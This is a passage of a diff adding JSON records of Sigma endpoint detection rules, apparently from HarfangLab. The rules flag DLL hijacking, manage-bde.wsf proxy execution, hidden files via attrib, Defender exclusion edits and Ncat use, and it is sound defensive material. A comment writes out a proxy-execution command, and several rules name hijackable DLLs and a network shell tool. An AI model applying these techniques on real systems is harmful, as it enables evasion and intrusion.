+    "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_logserver.yml",
+  "content": "title: DLL Hijacking via LogServer.exe\nid: 21e24d1c-fc56-4c13-937d-8036bd091278\ndescription: |\n    Detects potential Windows DLL Hijacking via LogServer.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/26\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LogServer'\n        ProcessSignature: 'Trend Micro, Inc.'\n        ImageLoaded|endswith: '\\ofcpipc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21e24d1c-fc56-4c13-937d-8036bd091278",
+  "rule_name": "DLL Hijacking via LogServer.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LogServer.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2216764d-df8a-4e07-bb45-54a387f5b02b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070621Z",
+  "creation_date": "2026-03-23T11:45:34.070624Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070630Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/",
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1216_manage_bde_wsf_execution.yml",
+  "content": "title: Suspicious Proxy Execution via manage-bde.wsf\nid: 2216764d-df8a-4e07-bb45-54a387f5b02b\ndescription: |\n    Detects the malicious execution of the legitimate manage-bde.wsf script to proxy execution of malicious binaries through the hijacking of the manage-bde.exe binary.\n    The goal is to plant a manage-bde.exe binary in the current directory to execute it rather than the legitimate binary in System32.\n    Attackers may abuse it to bypass security restrictions.\n    This script which is used to manage BitLocker and has been deprecated since Windows 7 while manage-bde.exe should be used instead.\n    It is recommended to analyze the process responsible for the execution of the manage-bde.wsf script to look for malicious content and other suspicious actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/01/27\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.ManageBDE\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # set comspec=c:\\windows\\system32\\calc.exe & cscript c:\\windows\\system32\\manage-bde.wsf\n    selection:\n        ParentImage|endswith: '\\cscript.exe'\n        ParentCommandLine|contains: 'manage-bde.wsf'\n\n    exclusion_normal_execution:\n        Image: '?:\\Windows\\System32\\cmd.exe'\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c manage-bde.exe -legacy_Vista*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2216764d-df8a-4e07-bb45-54a387f5b02b",
+  "rule_name": "Suspicious Proxy Execution via manage-bde.wsf",
+  "rule_description": "Detects the malicious execution of the legitimate manage-bde.wsf script to proxy execution of malicious binaries through the hijacking of the manage-bde.exe binary.\nThe goal is to plant a manage-bde.exe binary in the current directory to execute it rather than the legitimate binary in System32.\nAttackers may abuse it to bypass security restrictions.\nThis script which is used to manage BitLocker and has been deprecated since Windows 7 while manage-bde.exe should be used instead.\nIt is recommended to analyze the process responsible for the execution of the manage-bde.wsf script to look for malicious content and other suspicious actions.\n",
+  "rule_creation_date": "2022-01-27",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "222c898a-8fe8-430e-9b10-8075c5f1ca5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620258Z",
+  "creation_date": "2026-03-23T11:45:34.620260Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620264Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_file_hidden_through_attrib.yml",
+  "content": "title: File or Directory Hidden via Attrib.exe\nid: 222c898a-8fe8-430e-9b10-8075c5f1ca5c\ndescription: |\n    Detects when files/directories are set as Hidden and System through using attrib.exe.\n    This technique can be used by an attacker to hide sensitives directories and/or tools.\n    It is recommended to examine the process tree associated with this process to understand the execution context and to determine the legitimacy of this action.\nreferences:\n    - https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2020/12/04\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image: '*\\attrib.exe'\n        CommandLine|contains|all:\n            - '+h'  # hidden\n            - '+s'  # system\n\n    exclusion_desktop_ini:\n        # attrib +s +h C:\\3DEXPERIENCE/desktop.ini\n        CommandLine|endswith:\n            - '/desktop.ini'\n            - '\\desktop.ini'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_samsung_link:\n        CommandLine|contains: '?:\\ProgramData\\Samsung\\Samsung Link\\SamsungLink.lock'\n\n    exclusion_samsung_link_tray:\n        CommandLine|contains: 'AppData\\Roaming\\SAMSUNG\\Samsung Link\\ASPAgent.lock'\n\n    exclusion_intel_gfx_cui:\n        # Intel Common User Interface GFX execute a bat that hides all cui files in 'C:\\Windows\\System32\\'\n        #GrandparentImage: '?:\\Windows\\System32\\igfxCUIService.exe'\n        ParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\system32\\{????????-????-????-????-????????????}.bat'\n        CommandLine:\n            - 'attrib *+R +H +S +A ?.cui'\n            # Workaround for issue 18 (fixed in 2.8.1 and upper)\n            - 'attrib +R +H +S +A ?.cui'\n            - 'attrib  +R +H +S +A ?.cui'\n\n    exclusion_razer:\n        CommandLine: 'attrib +h +s ?:\\Users\\\\*\\AppData\\Local\\Razer\\RazerAxon\\WallpaperSource\\\\*'\n        GrandparentImage: '?:\\Program Files (x86)\\Razer\\Razer Axon\\RazerAxon.exe'\n\n    exclusion_syngo:\n        CommandLine: '?:\\Windows\\system32\\attrib.exe +s +h \\\\.\\GLOBALROOT\\device\\harddisk0\\partition3\\Recovery\\WindowsRE\\winre.wim'\n        ParentCommandLine: 'powershell.exe -ExecutionPolicy Bypass -command try{.\\InstallRAIDdriver.ps1 ?:\\Store\\Log\\Installation\\FieldUpdater\\\\*\\; exit $lastexitcode}catch{echo Exception-message: $_.Exception.Message;exit 1}'\n\n    # https://gist.github.com/pknowledge/1feef32fa21475eb9742ea247aefe1af\n    exclusion_folder_private:\n        CommandLine: 'attrib +h +s Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}'\n        ParentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\\\*.bat'\n\n    exclusion_hp:\n        CommandLine:\n            - 'attrib +r +h +s ?:\\hp'\n            - 'attrib +r +h +s ?:\\system.sav'\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c ?:\\system.sav\\logs\\RunFLC.cmd'\n        GrandparentImage: '?:\\Windows\\System32\\runonce.exe'\n\n    exclusion_blackmagic:\n        CommandLine: 'attrib +h +s */auto_Uninstall.qs'\n        GrandparentImage|endswith: '\\Blackmagic_Fairlight_Sound_Library_Windows.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "222c898a-8fe8-430e-9b10-8075c5f1ca5c",
+  "rule_name": "File or Directory Hidden via Attrib.exe",
+  "rule_description": "Detects when files/directories are set as Hidden and System through using attrib.exe.\nThis technique can be used by an attacker to hide sensitives directories and/or tools.\nIt is recommended to examine the process tree associated with this process to understand the execution context and to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2020-12-04",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "224d53d5-5b47-46d6-bae7-c97ed2c94fed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093020Z",
+  "creation_date": "2026-03-23T11:45:34.093022Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093027Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_srtasks.yml",
+  "content": "title: DLL Hijacking via srtasks.exe\nid: 224d53d5-5b47-46d6-bae7-c97ed2c94fed\ndescription: |\n    Detects potential Windows DLL Hijacking via srtasks.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'srtasks.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\ktmw32.dll'\n            - '\\SPP.dll'\n            - '\\SRCLIENT.dll'\n            - '\\SRCORE.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "224d53d5-5b47-46d6-bae7-c97ed2c94fed",
+  "rule_name": "DLL Hijacking via srtasks.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via srtasks.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "22822193-9f29-4f1e-8001-93546cec1e4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610942Z",
+  "creation_date": "2026-03-23T11:45:34.610945Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610953Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/",
+    "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_defender_add_exclusion.yml",
+  "content": "title: Windows Defender Exclusion List Modified\nid: 22822193-9f29-4f1e-8001-93546cec1e4a\ndescription: |\n    Detects the modification of Windows Defender's exclusion list.\n    Adversaries may modify the exclusion list to avoid possible detection of their tools.\n    It is recommended to ensure this new exclusion is legitimate as well as to look for other suspicious actions on the affected host.\nreferences:\n    - https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/\n    - https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2020/09/25\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|startswith:\n            # NOTE: Even when using PowerShell (via Add-MpPreference), msmpeng is always the one doing this operation.\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\\'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_hurukai:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\\\\?:\\Program Files\\HarfangLab'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\\\\?:\\Program Files\\HarfangLab\\\\*'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\\?:\\Program Files\\HarfangLab'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\\?:\\Program Files\\HarfangLab\\\\*'\n        Details: 'DWORD (0x00000000)'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "22822193-9f29-4f1e-8001-93546cec1e4a",
+  "rule_name": "Windows Defender Exclusion List Modified",
+  "rule_description": "Detects the modification of Windows Defender's exclusion list.\nAdversaries may modify the exclusion list to avoid possible detection of their tools.\nIt is recommended to ensure this new exclusion is legitimate as well as to look for other suspicious actions on the affected host.\n",
+  "rule_creation_date": "2020-09-25",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "228c8306-0e42-40a0-89b5-bdbf8a539ddb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604822Z",
+  "creation_date": "2026-03-23T11:45:34.604826Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604833Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nmap.org/ncat/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1095/T1095.md#atomic-test-2---netcat-c2",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/techniques/T1095/"
+  ],
+  "name": "t1049_ncat.yml",
+  "content": "title: Ncat Execution\nid: 228c8306-0e42-40a0-89b5-bdbf8a539ddb\ndescription: |\n    Detects the execution of Ncat, a feature-packed networking utility which reads and writes data across networks from command-line.\n    Ncat was written for the Nmap Project as a much-improved reimplementation of Netcat.\n    Attackers can use ncat to perform malicious activities such as reconnaissance, lateral movement, reverse shell, etc.\n    It is recommended to analyze the parent process and context as well as to correlate this alert with other discovery commands executed around it.\nreferences:\n    - https://nmap.org/ncat/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1095/T1095.md#atomic-test-2---netcat-c2\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/techniques/T1095/\ndate: 2022/08/17\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.command_and_control\n    - attack.t1095\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Ncat\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # by default Ncat is signed by Insecure.Com LLC\n        Imphash: '424b839c413b54caf852f99fc5055a49'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "228c8306-0e42-40a0-89b5-bdbf8a539ddb",
+  "rule_name": "Ncat Execution",
+  "rule_description": "Detects the execution of Ncat, a feature-packed networking utility which reads and writes data across networks from command-line.\nNcat was written for the Nmap Project as a much-improved reimplementation of Netcat.\nAttackers can use ncat to perform malicious activities such as reconnaissance, lateral movement, reverse shell, etc.\nIt is recommended to analyze the parent process and context as well as to correlate this alert with other discovery commands executed around it.\n",
+  "rule_creation_date": "2022-08-17",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049",
+    "attack.t1095"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "22e5297e-5d7b-4785-82f5-62dea6132903",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602458Z",
+  "creation_date": "2026-03-23T11:45:34.602461Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602469Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_printbrmui.yml",
+  "content": "title: DLL Hijacking via printbrmui.exe\nid: 22e5297e-5d7b-4785-82f5-62dea6132903\ndescription: |\n    Detects potential Windows DLL Hijacking via printbrmui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'printbrmui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "22e5297e-5d7b-4785-82f5-62dea6132903",
+  "rule_name": "DLL Hijacking via printbrmui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via printbrmui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2307c08f-aa49-4fa1-a3d5-d2a849e2bf17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
